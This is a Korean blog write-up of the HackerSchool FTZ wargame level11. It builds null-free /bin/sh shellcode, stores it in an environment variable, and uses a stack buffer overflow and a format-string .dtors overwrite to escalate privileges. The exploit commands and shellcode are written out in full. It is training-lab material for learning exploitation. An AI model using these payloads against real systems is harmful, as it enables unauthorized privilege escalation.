ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [HackerSchool] Level11
    오래된/HackerSchool 2011. 4. 29. 23:36

    [level11@ftz level11]$ cat hint

    #include <stdio.h>
    #include <stdlib.h>
     
    int main( int argc, char *argv[] )
    {
            char str[256];

            setreuid( 3092, 3092 );
            strcpy( str, argv[1] );
            printf( str );
    }

    [ level11 hint ]

    Buffer Overflow, FSB 공격으로 문제를 해결 할 수 있다.

    1. Buffer Overflow

    Buffer Overflow 공격 기법은 버퍼가 넘치도록 문자열을 채워넣어 코드의 흐름을 공격자가 원하는 방향으로 바꿔버리는 공격 이다.
    취약한 프로그램인 attackme 를 통해 어떻게 Buffer Overflow 공격이 가능 하고 어떤 이유로 인해 코드의 흐름이 변경되어지는지 확인해 본다.

    [level11@ftz tmp]$ gcc -o attackme attackme.c -static
    [level11@ftz tmp]$ gdb -q ./attackme
    (gdb) disas main
    Dump of assembler code for function main:
    0x080481d0 <main+0>:    push   %ebp
    0x080481d1 <main+1>:    mov    %esp,%ebp
    0x080481d3 <main+3>:    sub    $0x108,%esp                 - char str[256]
    ...[중략]...
    0x080481f8 <main+40>:   sub    $0x8,%esp                     - strcpy 함수의 인자를 받기위해 stack 영역 할당 받음
    0x080481fb <main+43>:   mov    0xc(%ebp),%eax           - argv 주소를 얻어온다
    0x080481fe <main+46>:   add    $0x4,%eax                    - argv[1] 의 주소를 구한다.
    0x08048201 <main+49>:   pushl  (%eax)                        - strcpy 인자로 넣기위해 stack 에 push
    0x08048203 <main+51>:   lea    0xfffffef8(%ebp),%eax      - str 의 시작주소를 얻어온다.
    0x08048209 <main+57>:   push   %eax                           - strcpy 인자로 넣기위해 stack 에 push
    0x0804820a <main+58>:   call   0x804d974 <strcpy>        - strcpy 함수 실행
    0x0804820f <main+63>:   add    $0x10,%esp                   - 함수가 사용한 영역 초기화
    ...[중략]...
    [ attackme 기계어 코드 ]

    hint 파일의 소스를 static 옵션을 줘서 컴파일 한 뒤, 기계어 코드를 확인해 보았더니 256 byte 를 할당받기 위해 264(0x108) byte 를 할당하는 것을 확인 할 수 있다. 이것은 앞서 Level9 문제에서 확인했던 컴파일러가 임의로 할당하는 dummy 공간 때문이다. ( dummy 크기가 다른 이유는 level9 에서 할당했던 크기와 다르기 때문이다. )

    이때, 메모리 공간의 상태는 아래와 같다.

    [ ebp-main ][ ret-main ][ str 주소 ][ argv[1] ][ str(256) ][ dummy(8) ][ ebp-libc ][ ret-libc ]
    \___________________ 0x10 _________________/

    libc 라이브러리가 main 함수를 call 하게되면 스택에는 libc 에서의 ebp 값과 eip( 다음 명령 주소 ) 값이 들어가게 된다.
    실제로 gdb 디버깅 툴을 이용하여 메모리 상태를 살펴보면 아래와 같다.

    (gdb) br main
    (gdb) r `perl -e 'print "A"x272'`
    ...[중략]...
    Breakpoint 1, 0x080481d9 in main ()
    (gdb) info reg
    ...[중략]...
    esp            0xbffff710       0xbffff710
    ebp            0xbffff818       0xbffff818
    ...[중략]...
    eip            0x80481d9        0x80481d9
    ...[중략]...

    (gdb) x/4x $ebp
    0xbffff818:     0xbffffa28      0x08048417      0x00000002      0xbffffa54
                      (ebp-libc)     (ret-libc)

    [ 초기 메모리 상태 ]

    * 여기서 ebp는 Base Pointer 로 함수에서 사용하는 Stack 영역의 시작점을 가리키도록 하는 용도로 사용된다.
    이것은 동적으로 움직이는 메모리 공간에서 정확한 메모리 위치를 계산하기 위한 것이며, 동적으로 움직으로 메모리 공간에서 입력 또는 출력되는 위치를 정확히 파악하기 위한 용도로 esp(Stack Pointer)가 사용된다. esp 는 입력이나 출력이 발생하면 그 다음  입력이나 출력위치를 가리키도록 되어 있다.
    ret 은 함수에서 또 다른 함수가 호출된 경우 이전함수(호출한 함수)의 다음 명령주소값을 의미 한다. *

    strcpy 함수는 str 배열의 첫 번째 주소공간인 ebp-0x108 인 0xbffff710 부터 입력된 문자열을 높은 주소공간 으로 복사하기 시작한다. 다시 strcpy 함수가 호출된 지점에서의 메모리 상태를 살펴 보면

    (낮은주소공간)                                                                                             (높은주소공간)
    [ ebp-main ][ ret-main ][ str 주소 ][ argv[1] ][ str(256) ][ dummy(8) ][ ebp-libc ][ ret-libc ]
    \___________________ 0x10 _________________/

    위와 같기 때문에 256 byte 를 초과한 문자를 넣게 되면 그 문자열들은 dummy 를 거쳐 ret 까지 덮어쓰게 될 것이다.
    이 말은 결국 main 함수가 종료되어 main 함수를 호출했던 함수의 다음 명령주소값이 str 버퍼를 넘쳐 흘러들어온 값으로 변조되어 다음명령주소값(eip)으로 이용된다는 말이 된다.
    즉, ret의 위치를 잘 계산하면 ret 값을 우리가 원하는 코드가 존재하는 주소값으로 변조 시킬 수 있고, 결국 우리가 원하는 프로그램을 실행 시킬 수 있다는 말이 된다.

    이제 실제로 공격을 통해 우리가 원하는 shell 을 획득해 보기로 한다.

    일단 ret 의 위치를 알아야 하는데, 위에서 봤듯이 ret 의 위치는 str 에서 268( 256+8(dummy)+4(ebp) ) byte 떨어진 위치에 존재한다. 다음은 우리가 원하는 프로그램을 특정 주소공간에 올려놓고 해당 주소를 확인하는 작업이 필요하다.

    2. Shellcode

    Shellcode 는 일반적으로 shell 을 실행 시켜주는 기계어 code 를 말한다.
    기계어 코드를 추출해 내기 위해 먼저 C 코드를 작성한다.

    #include <stdio.h>

    int main( void )
    {
            system("/bin/sh");
    }

    [ sh shell 을 실행 시키는 C 코드 ]

    위 소스를 컴파일 하고 실행 시켜보면 shell 이 떨어지는 것을 확인 할 수 있다.
    하지만 기계어 코드를 추출하기 위해 gdb 나 objdump 를 이용해서 확인해 보면 system 함수에 해당하는 코드가 너무 길어
    실제 사용하기에는 다소 부담 스럽기 때문에 system 함수가 어떤 system call 을 사용하는지 확인해 보고 코드를 줄여 보도록 한다.

    [level11@ftz dn]$ strace ./shell
    execve("./shell", ["./shell"], [/* 22 vars */]) = 0
    uname({sys="Linux", node="ftz.hackerschool.org", ...}) = 0
    ...[중략]...
    [ strace shell ]

    첫 번째 줄에 보면 execve 란 system call 을 사용하고 있음을 알 수 있다.
    execve 의 함수 원형을 살펴보면 아래와 같다.

     execve(const char *path, char *const argv[], char *const envp[]);
    [ execve 함수 원형 ]

    첫 번째 인자로 실행할 프로그램 path, 두번째로 인자 배열, 세번째로 환경변수 배열이 필요함을 알 수 있는데,
    위에서 strace 한 결과와 비교하며 인자를 생각해서 C 코드로 만들면 아래와 같을 것이다.

    #include <stdio.h>

    int main( void )
    {
            char *str[2];
            str[0] = "/bin/sh";
            str[1] = 0;
            execve( str[0], str, 0 );
    }

    [ 변경된 C 코드 ]

    하지만 위 코드에도 main 이라는 불필요한 함수로 인해 shellcode 의 길이가 길어지는 문제를 가지고 있기 때문에
    좀더 shellcode 를 줄이기 위해 gdb를 이용 어셈블리 코드를 분석해 보기로 한다.
    ( 컴파일시 -static 옵션을 주어서 execve 함수 내용까지 확인해 볼 수 있도록 한다. )

    (gdb) disas main
    ...[중략]...
    0x080481f1 <main+33>:   push   $0x0                                                 - execve 세번째 인자 0
    0x080481f3 <main+35>:   lea    0xfffffff8(%ebp),%eax                            - str 의 주소를 eax 에 넘긴뒤
    0x080481f6 <main+38>:   push   %eax                                                - execve 두번째 인자로 저장
    0x080481f7 <main+39>:   pushl  0xfffffff8(%ebp)                                    - execve 첫번째 인자 str
    0x080481fa <main+42>:   call   0x804d9f0 <execve>
    ...[중략]...
    (gdb) disas execve
    ...[중략]...
    0x0804d9fc <execve+12>: mov    0x8(%ebp),%edi
    ...[중략]...
    0x0804da06 <execve+22>: mov    0xc(%ebp),%ecx
    0x0804da09 <execve+25>: mov    0x10(%ebp),%edx
    0x0804da0c <execve+28>: push   %ebx
    0x0804da0d <execve+29>: mov    %edi,%ebx
    0x0804da0f <execve+31>: mov    $0xb,%eax                                        - system call number(11 : execve)
    0x0804da14 <execve+36>: int    $0x80                                                 - system call
    ...[중략]...
    [ 주요 어셈블리 코드 ]

    execve 의 두번째 인자를 stack에 저장하는 부분을 보면 eax 에 임시로 넣었다가 저장하고 있는데, 이것은 stack 의 주소값을 바로 stack에 저장할 방법이 없기 때문이다.

    다음 execve 의 함수 부분을 보면 총 4개의 레지스터가 사용되고 있는데, 들어가는 값을 살펴보면
    eax = 11, ebx = str[0], ecx = str, edx = 0 인 것을 알 수 있다.

    이제 main 함수가 호출해 주지 않아도 execve 를 실행할 수 있는 어셈블리 코드를 추출 하는데 성공 했다.
    이제 어셈블리 코드를 작성하고 기계어 코드를 추출해 본다.
    ( gcc -o shell shell.s )

    .globl main
    main:
            call func
            .string "/bin/sh\00"
    func:
            mov $0xb, %eax
            pop %ebx
            mov %ebx, (%esi)                               - str[0]
            movb $0x00, 0x4(%esi)                         - str[1]
            mov %esi, %ecx                                  - str 의 주소를 ecx 에 저장
            mov $0x00, %edx
            int $0x80
    [ shell 을 실행하는 어셈블리 코드 ]

    소스를 컴파일 하고 objdump 를 이용해서 기계어 코드를 확인해 보면 아래와 같다.
    ( objdump -d ./shell )

     080482f4 <main>:
     80482f4:       e8 09 00 00 00          call   8048302 <func>
     80482f9:       2f                           das   
     80482fa:       62 69 6e                  bound  %ebp,0x6e(%ecx)
     80482fd:       2f                           das   
     80482fe:       73 68                      jae    8048368 <__libc_csu_fini+0x20>
            ...
     08048302 <func>:
     8048302:       b8 0b 00 00 00         mov    $0xb,%eax
     8048307:       5b                         pop    %ebx
     8048308:       89 1e                     mov    %ebx,(%esi)
     804830a:       c6 46 04 00             movb   $0x0,0x4(%esi)
     804830e:       89 f1                      mov    %esi,%ecx
     8048310:       ba 00 00 00 00         mov    $0x0,%edx
     8048315:       cd 80                     int    $0x80

    [ 추출된 기계어 코드 ]

    이제 다 됐나 싶더니 또 문제가 발견됐다. 위 코드를 메모리 공간에 올릴려면 문자열 형태든 어떻든 집어 넣야 할 텐데 문자열에서 0x00 은 문자열의 끝(null) 을 의미하기 때문에 코드가 끝까지 올라가지 않는 문제가 발생할 수 있다.
    이제 코드에서 0x00 을 제거 하기 위해 어셈블리 코드를 약간 수정해 보기로 한다.

    80482f4:       e8 09 00 00 00          call   8048302 <func>

    e8 은 call 을 의미하며
    09 00 00 00 은 $0x00000009 로 현재 코드 끝 부분 부터 호출하려는 코드까지의 거리를 의미한다. ( 8048302 - (80482f4 + 5) )

    따라서 이 부분을 호출 하려는 코드 즉, func 보다 밑에 두게 되면 09 00 00 00 은 음수값으로 바뀌게 되므로 00 은 ff 로 바뀌게 될 것이다.

    8048302:       b8 0b 00 00 00         mov    $0xb,%eax

    0b 00 00 00 은 $0x0000000b 이기 때문에 00 값이 포함되게 되었다.
    이를 없애기 위해서는 %al 부분에만 0b 값이 들어가게 하면 되는데 레지스터가 초기화 되어져 있어야 하므로
    xor 연산을 이용 eax 의 값을 모두 00 으로 초기화 시키도록 한다.

    804830a:       c6 46 04 00             movb   $0x0,0x4(%esi)

    00 은 $0x0 때문에 발생한 값이므로 위에서 초기화 된 eax 값중 %ah 값을 이용 하도록 한다.

    8048310:       ba 00 00 00 00         mov    $0x0,%edx

    00 00 00 00 은 $0x0 때문에 발생한 값이므로 eax 초기화시 mov 를 이용하여 edx 에 00 으로 초기화된 값을 넣도록 한다.

    이제 어셈블리 코드를 수정해 보면 아래 와 같을 것이다.

    080482f4 <main>:
     80482f4:       eb 10                   jmp    8048306 <come_here>

    080482f6 <func>:
     80482f6:       31 c0                   xor    %eax,%eax
     80482f8:       89 c2                   mov    %eax,%edx
     80482fa:       b0 0b                   mov    $0xb,%al
     80482fc:       5b                      pop    %ebx
     80482fd:       89 1e                   mov    %ebx,(%esi)
     80482ff:       88 66 04                mov    %ah,0x4(%esi)
     8048302:       89 f1                   mov    %esi,%ecx
     8048304:       cd 80                   int    $0x80

    08048306 <come_here>:
     8048306:       e8 eb ff ff ff          call   80482f6 <func>
     804830b:       2f                      das   
     804830c:       62 69 6e                bound  %ebp,0x6e(%ecx)
     804830f:       2f                      das   
     8048310:       73 68                   jae    804837a <__do_global_ctors_aux+0x2>

    [ 0x00 값을 모두 제거한 shell code ]

    이제 모든 0x00 값이 제거되어 shellcode 로 이용할 수 있게 되었다.
    이 값을 문자열 형태로 특정 주소 공간에 저장하기만 하면 된다.

    3. Enviroment Variable

    리눅스에서 환경변수는 여러가지 용도로 사용이 되는데, 우리가 가장 많이 사용하고 있는 환경변수중 하나는 PATH 이다.
    PATH 환경변수에는 명령을 실행하기 위해 프로그램이 위치한 곳까지 직접 찾아가거나 절대경로를 사용하여 프로그램을 실행시키는 번거로움을 해소시켜주기위해 자주 사용되는 디렉토리 경로명을 저장해 두는 곳으로, 명령을 입력하면 PATH 환경변수에 저장된 디렉토리에 해당 프로그램이 존재하는지 검색하는 용도로 사용이 되어진다.
    또한, 환경변수라는 이름 그대로 내용은 언제든지 추가/수정/제거 가 가능하다.

    [level11@ftz level11]$ echo $PATH
    /usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/level11/bin
    [ PATH 환경변수 내용 출력 ]

    echo 명령을 이용해서 PATH 환경변수에 저장된 내용을 출력해 보았다.
    여기서 중요한 것은 PATH 라는 환경변수의 내용역시 변수이기에 메모리상에 저장이 된다는 점이다.
    즉 PATH 라는 환경변수 역시 메모리 주소공간을 가지고 있다는 말이 된다.

    이제 환경변수를 이용하면 메모리 주소공간에 우리가 원하는 shellcode 를 저장시킬수 있다는 것을 확인 했으니 실제 취약한 프로그램을 이용해 상위권한을 획득해 보기로 한다.

    4. 환경변수를 이용한 Buffer Overflow 공격

    우선 위에서 준비한 shellcode 를 환경변수에 저장하고 잘 실행이 되는지 확인해 본다.

    [level11@ftz dn]$ export SH=`printf "\xeb\x10\x31\xc0\x89\xc2\xb0\x0b\x5b\x89\x1e\x88\x66\x04\x89\xf1\xcd\x80\xe8\xeb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"`
    [ shellcode 를 포함한 SH 환경변수 등록]

    먼저 shellcode 를 SH 환경변수에 저장했다. 이제 환경변수 SH 의 주소를 함수포인터에 저장하여 정상적으로 호출이 되는지 확인해 본다.

    #include <stdio.h>

    int main(void)
    {
            void (*func)(void) = (void*)getenv("SH");
            printf("env : %p\n", getenv("SH"));
            func();
    }

    [ 환경변수 shellcode 실행을 위한 C 코드 ]

    [level11@ftz dn]$ ./shell
    env : 0xbffffefa
    sh-2.05b$ exit
    [ shellcode 실행 화면 ]

    컴파일한 후 실행해보면 정상적으로 shell 이 떨어지는 것을 볼 수 있다.
    현재 보여지는 shellcode 의 주소는 0xbffffefa 이다. 그런데 이 주소는 파일의 이름 길이에 따라 변경될 수 있는데, 이것은 쉘에서 프로그램을 실행시키면 execve 함수를 이용해 프로그램이 실행되고 이 과정중 환경변수에 실행파일 이름이 포함된 상태로 환경변수들이 인자로 넘어가기 때문이다.

    이로인해 attackme 프로그램을 실행시 SH 환경변수의 주소는 현재 출력된 주소보다 3 byte 위나 아래( 0xbffffef7, 0xbffffefd )에 존재하게 된다. 이제 위에서 계산한 ret 의 위치에 shellcode 를 넣어서 권한상승을 시도해 보겠다.

    [level11@ftz level11]$ ./attackme `perl -e 'print "A"x268,"\xf7\xfe\xff\xbf"'`
    sh-2.05b$ id
    uid=3092(level12) gid=3091(level11) groups=3091(level11)
    [ 권한 상승 ]
     
    사실 주소계산없이 아래와 같이 실행해도 큰 문제 없이 쉘을 획득 할 수 있다.

    [level11@ftz level11]$ ./attackme `perl -e 'print "\xf7\xfe\xff\xbf"x100'`
    sh-2.05b$ id
    uid=3092(level12) gid=3091(level11) groups=3091(level11)
    [ 권한 상승2 ]


    5. Format String Bug

    printf 함수의 Format String 중 %n 에 의한 문제로 위의 hint 와 같이 입력받은 문자열을 그대로 출력 하는 경우
    Formt String 을 넣을 수 있게 되고, 이때 %n  을 이용하여 문제를 발생 시켜 공격을 할 수 있게 되는 Bug 이다.

    여기서 %n 포맷스트링은 앞에서 출력한 문자열의 갯수를 %n 에 해당하는 변수의 메모리 영역에 채워넣는 역할을 한다.

    #include <stdio.h>

    int main( void )
    {
            int a = 10;

            printf("AAAA%n\n", &a);
            printf("%d\n", a);
    }

    [ test.c ]

    [level11@ftz tmp]$ gcc -o test test.c
    [level11@ftz tmp]$ ./test
    AAAA
    4
    [ test 실행 ]

    출력된 문자의 갯수가 변수 a의 메모리영역에 저장되어 출력된 것을 알 수 있다.
    이와 동일한 방법으로 ret 주소를 shellcode 주소로 덮어 씌워주면 되겠다.

    6. .dtors ( destructor )

    .dtors 는 main 함수가 종료될 때 수행되는 함수주소 목록을 list 형태로 저장한 쓰기 가능한 메모리 공간의 이름이다.
    참고로 .ctors 는 main 함수 시작 이전에 실행 된다.

    이와 관련한 문서는 아래 링크를 참조하기 바람.

    http://pds11.egloos.com/pds/200809/19/62/auto_fsb.txt

    [level11@ftz level11]$ objdump -h ./attackme |grep .dtors
     18 .dtors        00000008  0804960c  0804960c  0000060c  2**2
    [ 문제파일의 .dtors 영역 확인 ]

     문서를 통해 .dtors 에서 확인되는 주소 0x0804960c + 4 (byte) = 0x08049610 지점에 shellcode 주소를 덮어씌어 주면 된다는 사실을 확인 했다.

    7. .dtors 를 이용한 FSB 공격

    숫자를 메모리상에 저장할 때에는 16진수로 저장한 다는 것은 잘 알고 있을 것이다.
    FSB 로 인해 문제가 발생하는 것은 %n 포맷스트링이 앞에서 출력된 문자열 갯 수를 뒤에 지정된 주소공간에 저장할 수 있도록 한다는 것에 있다. 하지만 문제는 숫자를 이용해서 4 byte 의 주소를 표현하기 위해서는 최대 약 42억개의 문자가 출력되야 하기 때문에 문제가 있다. 따라서 주소를 2 byte 단위로 끊어 출력되는 문자열의 길이를 줄이는 방법을 사용한다.

    gdb 를 이용해서 실제 ret 주소를 덮어 씌우는 것이 가능한지 확인해 보도록 한다.

    먼저 우리가 프로그램 인자로 입력한 문자열에 포맷스트링을 포함시켰을 경우 printf 에서 어떤 식으로 출력해 내는지 확인해 본다.

    (gdb) disas printf
    Dump of assembler code for function printf:
    0x080488d8 <printf+0>:  push   %ebp
    0x080488d9 <printf+1>:  mov    %esp,%ebp
    0x080488db <printf+3>:  lea    0xc(%ebp),%edx
    0x080488de <printf+6>:  sub    $0xc,%esp
    0x080488e1 <printf+9>:  push   %edx
    0x080488e2 <printf+10>: pushl  0x8(%ebp)
    0x080488e5 <printf+13>: pushl  0x80a3014
    0x080488eb <printf+19>: call   0x804fd44 <vfprintf>
    0x080488f0 <printf+24>: leave 
    0x080488f1 <printf+25>: ret  
    [ printf 함수의 assm 코드 ]

    printf 함수는 vfprintf 함수를 다시 호출하고 있는 것을 확인할 수 있는데, 어쨌든 출력을 하기 위해서는 메모리 어딘가에 출력할 내용을 담고 있어야 할 것이므로 이 부분에 break point 를 설정 하고 메모리 상태를 확인해 본다.

    (gdb) r "AAAA%8x%8x%8x%8x"
    Starting program: /home/level11/tmp/dn/hint "AAAA%8x%8x%8x%8x"

    Breakpoint 1, 0x080488eb in printf ()
    (gdb) x/8x $ebp
    0xbffff7f8:     0xbffff918      0x08048221      0xbffff810      0xbffffc59
    0xbffff808:     0xbffff858      0x0804cdc7      0x41414141      0x25783825
    (gdb) c
    Continuing.
    AAAAbffffc59bffff858 804cdc741414141

    [ printf 실행시 stack 모습 ]

    인자로 "AAAA%8x%8x%8x%8x" 를 입력 했더니 printf 의 인자로 입력된 str 주소 다음 주소공간에 들어 있는 값들을 순차적으로 출력해내다가 str 주소 공간에 들어있는 값 4 byte 를 출력한 것을 볼 수 있다.
    이것으로 우리가 입력한 주소값을 %n 의 인자로 사용하기 위해서는 24 byte의 문자열들이 모두 출력되고 나서야 불려질 것이라는 것을 확인 할 수 있다.

    일단 우리의 목표인 .dtors 주소 변조가 가능한지 확인하기 위해 0xbffff7fc 위치에 값 변조를 시도해 보도록 한다.
    위에서 사용했던 shellcode 의 주소를 덮어 씌워 보기로 하는데, %n 은 앞에서 출력된 문자열의 갯 수만큼 뒤에 입력된 주소공간에 숫자로 저장을 한다고 했으므로

    0xbffffef7 을 넣기 위해서는 문자를 3,221,225,207 개 출력해야 하는 문제가 있기 때문에 주소를 4 byte 씩 쪼개 출력할 문자열의 갯수를 줄여서 사용 하기로 한다.
    .dtors 의 주소는 0x08049610 이므로 0x08049610 에는 65271(0xfef7), 0x08049612 에는 49151(0xbfff) 값을 넣어 주면 shellcode 의 주소로 덮어 씌워질 것이다.
    근데 문제는 앞서 말했듯이 출력된 문자열의 갯 수만큼 주소공간에 저장이 되기 때문에 앞에서 65271 개의 문자를 출력하게 해버린다면 뒤에서 49151 을 저장하는 것은 불가능해진다. 따라서 뒤에서 입력하는 값을 앞에서 입력한 값 보다 크게 만들기 위해 0xbfff 를 0x1bfff 즉, 114687 로 변환하여 사용하도록 한다.

    다시 정리해 보면 0x08049610 에는 65271, 0x08049612 에는 114687 을 넣도록 한다.
    이제 공격 코드를 보면 다음과 같을 것이다.

    ./attackme `printf "AAAA\x10\x96\x04\x08BBBB\x12\x96\x04\x08%%8x%%8x%%8x%%65231c%%n%%49416c%%n"`

    코드 중간에 보면 65271 개를 출력 하는 것이 아니라 65231 을 출력하도록 하는 것을 볼 수 있는데, 이것은 앞에서 출력된
    AAAA\x10\x96\x04\x08BBBB\x12\x96\x04\x08%%8x%%8x%%8x = 총 40 byte 의 문자를 제외해야 하기 때문이다.

    '오래된 > HackerSchool' 카테고리의 다른 글

    [HackerSchool] Level13  (0) 2011.05.10
    [HackerSchool] Level12  (0) 2011.05.06
    [HackerSchool] Level10  (0) 2011.04.29
    [HackerSchool] Level9  (0) 2011.04.28
    [HackerSchool] Level8  (0) 2011.04.27

    댓글

Designed by Tistory.